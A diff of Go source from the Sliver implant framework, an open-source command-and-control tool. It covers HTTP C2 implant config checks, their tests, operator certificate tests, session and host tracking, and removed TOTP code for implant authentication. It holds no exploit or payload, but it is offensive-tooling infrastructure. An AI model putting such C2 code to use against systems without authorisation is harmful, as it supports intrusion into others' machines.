if config.PollFileExt == "" {
|
||||
return ErrMissingPollFileExt
|
||||
}
|
||||
config.PollFiles = coerceFiles(config.PollFiles, config.PollFileExt)
|
||||
if len(config.PollFiles) < 1 {
|
||||
return ErrTooFewPollFiles
|
||||
}
|
||||
|
||||
// Session Settings
|
||||
config.StartSessionFileExt = coerceFileExt(config.StartSessionFileExt)
|
||||
if config.StartSessionFileExt == "" {
|
||||
return ErrMissingStartSessionFileExt
|
||||
}
|
||||
config.SessionFileExt = coerceFileExt(config.SessionFileExt)
|
||||
if config.SessionFileExt == "" {
|
||||
return ErrMissingSessionFileExt
|
||||
}
|
||||
config.SessionFiles = coerceFiles(config.SessionFiles, config.StartSessionFileExt)
|
||||
config.SessionFiles = coerceFiles(config.SessionFiles, config.SessionFileExt)
|
||||
if len(config.SessionFiles) < 1 {
|
||||
return ErrTooFewSessionFiles
|
||||
}
|
||||
|
||||
// Close Settings
|
||||
config.CloseFileExt = coerceFileExt(config.CloseFileExt)
|
||||
if config.CloseFileExt == "" {
|
||||
return ErrMissingCloseFileExt
|
||||
}
|
||||
config.CloseFiles = coerceFiles(config.CloseFiles, config.CloseFileExt)
|
||||
if len(config.CloseFiles) < 1 {
|
||||
return ErrTooFewCloseFiles
|
||||
}
|
||||
|
||||
// Unique file extensions
|
||||
allExtensions := map[string]bool{}
|
||||
extensions := []string{
|
||||
config.StagerFileExt,
|
||||
config.KeyExchangeFileExt,
|
||||
config.PollFileExt,
|
||||
config.StartSessionFileExt,
|
||||
config.SessionFileExt,
|
||||
config.CloseFileExt,
|
||||
}
|
||||
for _, ext := range extensions {
|
||||
if _, ok := allExtensions[ext]; ok {
|
||||
return ErrNonuniqueFileExt
|
||||
}
|
||||
allExtensions[ext] = true
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -1,92 +0,0 @@
|
||||
package configs
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
)
|
||||
|
||||
var (
|
||||
fileExtCoercions = map[string]string{
|
||||
"js": "js",
|
||||
".js": "js",
|
||||
"/.js": "js",
|
||||
"/.es6": "es6",
|
||||
".mp4": "mp4",
|
||||
}
|
||||
)
|
||||
|
||||
func TestCoerceFileExt(t *testing.T) {
|
||||
for input, output := range fileExtCoercions {
|
||||
if value := coerceFileExt(input); value != output {
|
||||
t.Fatalf("'%s' was parsed as '%s', expected '%s'", input, value, output)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestDefaultConfig(t *testing.T) {
|
||||
data, err := json.Marshal(defaultHTTPC2Config)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var config *HTTPC2Config
|
||||
err = json.Unmarshal(data, &config)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
err = CheckHTTPC2Config(config)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPollConfig(t *testing.T) {
|
||||
|
||||
// Missing PollFileExt
|
||||
config := defaultHTTPC2Config
|
||||
origPollFileExt := config.ImplantConfig.PollFileExt
|
||||
for _, ext := range []string{"", ".", "..."} {
|
||||
config.ImplantConfig.PollFileExt = ext
|
||||
err := CheckHTTPC2Config(&config)
|
||||
if err != ErrMissingPollFileExt {
|
||||
t.Fatalf("Parsed '%s' as not missing (%s)", ext, config.ImplantConfig.PollFileExt)
|
||||
}
|
||||
}
|
||||
config.ImplantConfig.PollFileExt = origPollFileExt
|
||||
|
||||
// Missing PollFiles
|
||||
emptyPollFiles := [][]string{
|
||||
{},
|
||||
{""},
|
||||
{"/"},
|
||||
{"", "", ""},
|
||||
{"/", "/", "/"},
|
||||
}
|
||||
origPollFiles := config.ImplantConfig.PollFiles
|
||||
for _, empty := range emptyPollFiles {
|
||||
config.ImplantConfig.PollFiles = empty
|
||||
err := CheckHTTPC2Config(&config)
|
||||
if err != ErrTooFewPollFiles {
|
||||
t.Fatalf("Expected too few poll files from %v got %v", empty, err)
|
||||
}
|
||||
}
|
||||
config.ImplantConfig.PollFiles = origPollFiles
|
||||
|
||||
}
|
||||
@@ -64,7 +64,7 @@ const (
|
||||
)
|
||||
|
||||
var (
|
||||
namePattern = regexp.MustCompile("^[a-zA-Z0-9_]*$") // Only allow alphanumeric chars
|
||||
namePattern = regexp.MustCompile("^[a-zA-Z0-9_-]*$") // Only allow alphanumeric chars
|
||||
)
|
||||
|
||||
// ClientConfig - Client JSON config
|
||||
|
||||
@@ -1,46 +0,0 @@
|
||||
package console
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"encoding/pem"
|
||||
"testing"
|
||||
|
||||
clienttransport "github.com/bishopfox/sliver/client/transport"
|
||||
"github.com/bishopfox/sliver/server/certs"
|
||||
)
|
||||
|
||||
func TestRootOnlyVerifyCertificate(t *testing.T) {
|
||||
certs.SetupCAs()
|
||||
|
||||
data, err := NewPlayerConfig("zerocool", "localhost", uint16(1337))
|
||||
if err != nil {
|
||||
t.Fatalf("failed to generate test player profile %s", err)
|
||||
}
|
||||
config := &ClientConfig{}
|
||||
err = json.Unmarshal(data, config)
|
||||
if err != nil {
|
||||
t.Fatalf("failed to parse client config %s", err)
|
||||
}
|
||||
|
||||
_, _, err = certs.OperatorServerGetCertificate("localhost")
|
||||
if err == certs.ErrCertDoesNotExist {
|
||||
certs.OperatorServerGenerateCertificate("localhost")
|
||||
}
|
||||
|
||||
// Test with a valid certificate
|
||||
certPEM, _, _ := certs.OperatorServerGetCertificate("localhost")
|
||||
block, _ := pem.Decode(certPEM)
|
||||
err = clienttransport.RootOnlyVerifyCertificate(config.CACertificate, [][]byte{block.Bytes})
|
||||
if err != nil {
|
||||
t.Fatalf("root only verify certificate error: %s", err)
|
||||
}
|
||||
|
||||
// Test with wrong CA
|
||||
wrongCert, _ := certs.GenerateECCCertificate(certs.HTTPSCA, "foobar", false, false)
|
||||
block, _ = pem.Decode(wrongCert)
|
||||
err = clienttransport.RootOnlyVerifyCertificate(config.CACertificate, [][]byte{block.Bytes})
|
||||
if err == nil {
|
||||
t.Fatal("root only verify cert verified a certificate with invalid ca!")
|
||||
}
|
||||
|
||||
}
|
||||
@@ -113,4 +113,5 @@ func serverOnlyCmds(console *clientconsole.SliverConsoleClient) {
|
||||
},
|
||||
HelpGroup: consts.MultiplayerHelpGroup,
|
||||
})
|
||||
|
||||
}
|
||||
@@ -1,71 +0,0 @@
|
||||
package core
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/server/db"
|
||||
"github.com/bishopfox/sliver/server/db/models"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
"github.com/gofrs/uuid"
|
||||
"gorm.io/gorm"
|
||||
)
|
||||
|
||||
var (
|
||||
coreLog = log.NamedLogger("core", "hosts")
|
||||
)
|
||||
|
||||
func StartEventAutomation() {
|
||||
go func() {
|
||||
for event := range EventBroker.Subscribe() {
|
||||
switch event.EventType {
|
||||
|
||||
case consts.SessionOpenedEvent:
|
||||
if event.Session != nil {
|
||||
hostsSessionCallback(event.Session)
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// Triggered on new sessione events, checks to see if the host is in
|
||||
// the database and adds it if not.
|
||||
func hostsSessionCallback(session *Session) {
|
||||
dbSession := db.Session()
|
||||
_, err := db.HostByHostUUID(session.UUID)
|
||||
if err != nil && err != gorm.ErrRecordNotFound {
|
||||
coreLog.Error(err)
|
||||
return
|
||||
}
|
||||
if err == gorm.ErrRecordNotFound {
|
||||
err := dbSession.Create(&models.Host{
|
||||
HostUUID: uuid.FromStringOrNil(session.UUID),
|
||||
Hostname: session.Hostname,
|
||||
OSVersion: session.Os,
|
||||
IOCs: []models.IOC{},
|
||||
ExtensionData: []models.ExtensionData{},
|
||||
}).Error
|
||||
if err != nil {
|
||||
coreLog.Error(err)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -36,7 +36,7 @@ var (
|
||||
sessions: map[uint32]*Session{},
|
||||
mutex: &sync.RWMutex{},
|
||||
}
|
||||
rollingSessionID = uint32(0)
|
||||
hiveID = uint32(0)
|
||||
|
||||
// ErrUnknownMessageType - Returned if the implant did not understand the message for
|
||||
// example when the command is not supported on the platform
|
||||
@@ -72,7 +72,6 @@ type Session struct {
|
||||
ProxyURL string
|
||||
PollInterval uint32
|
||||
Burned bool
|
||||
Extensions []string
|
||||
}
|
||||
|
||||
// ToProtobuf - Get the protobuf version of the object
|
||||
@@ -212,8 +211,8 @@ func (s *sessions) Remove(sessionID uint32) {
|
||||
|
||||
// NextSessionID - Returns an incremental nonce as an id
|
||||
func NextSessionID() uint32 {
|
||||
newID := rollingSessionID + 1
|
||||
rollingSessionID++
|
||||
newID := hiveID + 1
|
||||
hiveID++
|
||||
return newID
|
||||
}
|
||||
|
||||
|
||||
@@ -30,14 +30,6 @@ import (
|
||||
"crypto/sha256"
|
||||
"errors"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/server/assets"
|
||||
"github.com/pquerna/otp"
|
||||
"github.com/pquerna/otp/totp"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -46,15 +38,11 @@ const (
|
||||
|
||||
// GCMNonceSize - 96 bit nonces for GCM
|
||||
GCMNonceSize = 12
|
||||
|
||||
// TOTPDigits - Number of digits in the TOTP
|
||||
TOTPDigits = 8
|
||||
TOTPPeriod = uint(30)
|
||||
)
|
||||
|
||||
var (
|
||||
// ErrInvalidKeyLength - Invalid key length
|
||||
ErrInvalidKeyLength = errors.New("invalid length")
|
||||
ErrInvalidKeyLength = errors.New("Invalid length")
|
||||
)
|
||||
|
||||
// AESKey - 256 bit key
|
||||
@@ -148,56 +136,3 @@ func GCMDecrypt(key AESKey, ciphertext []byte) ([]byte, error) {
|
||||
}
|
||||
return plaintext, nil
|
||||
}
|
||||
|
||||
// TOTPOptions - Customized totp validation options
|
||||
func TOTPOptions() totp.ValidateOpts {
|
||||
return totp.ValidateOpts{
|
||||
Digits: TOTPDigits,
|
||||
Algorithm: otp.AlgorithmSHA256,
|
||||
Period: TOTPPeriod,
|
||||
Skew: uint(1),
|
||||
}
|
||||
}
|
||||
|
||||
// TOTPServerSecret - Get the server-wide totp secret value, the goal of the totp
|
||||
// is for the implant to prove it was generated by this server. To that end we simply
|
||||
// use a server-wide secret and ignore issuers/accounts. In order to bypass this check
|
||||
// you'd have to extract the totp secret from a binary generated by the server.
|
||||
func TOTPServerSecret() (string, error) {
|
||||
totpSecretPath := path.Join(assets.GetRootAppDir(), "totp")
|
||||
if _, err := os.Stat(totpSecretPath); os.IsNotExist(err) {
|
||||
return totpGenerateSecret(totpSecretPath)
|
||||
} else {
|
||||
data, err := ioutil.ReadFile(totpSecretPath)
|
||||
return string(data), err
|
||||
}
|
||||
}
|
||||
|
||||
// ValidateTOTP - Validate a TOTP code
|
||||
func ValidateTOTP(code string) (bool, error) {
|
||||
secret, err := TOTPServerSecret()
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
valid, err := totp.ValidateCustom(code, secret, time.Now().UTC(), TOTPOptions())
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
return valid, nil
|
||||
}
|
||||
|
||||
func totpGenerateSecret(saveTo string) (string, error) {
|
||||
otpSecret, err := totp.Generate(totp.GenerateOpts{
|
||||
Issuer: "foo",
|
||||
AccountName: "bar",
|
||||
Digits: TOTPDigits,
|
||||
Algorithm: otp.AlgorithmSHA256,
|
||||
Period: TOTPPeriod,
|
||||
})
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
secret := otpSecret.Secret()
|
||||
err = ioutil.WriteFile(saveTo, []byte(secret), 0600)
|
||||
return secret, err
|
||||
}
|
||||
Loaded 100 of 254 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user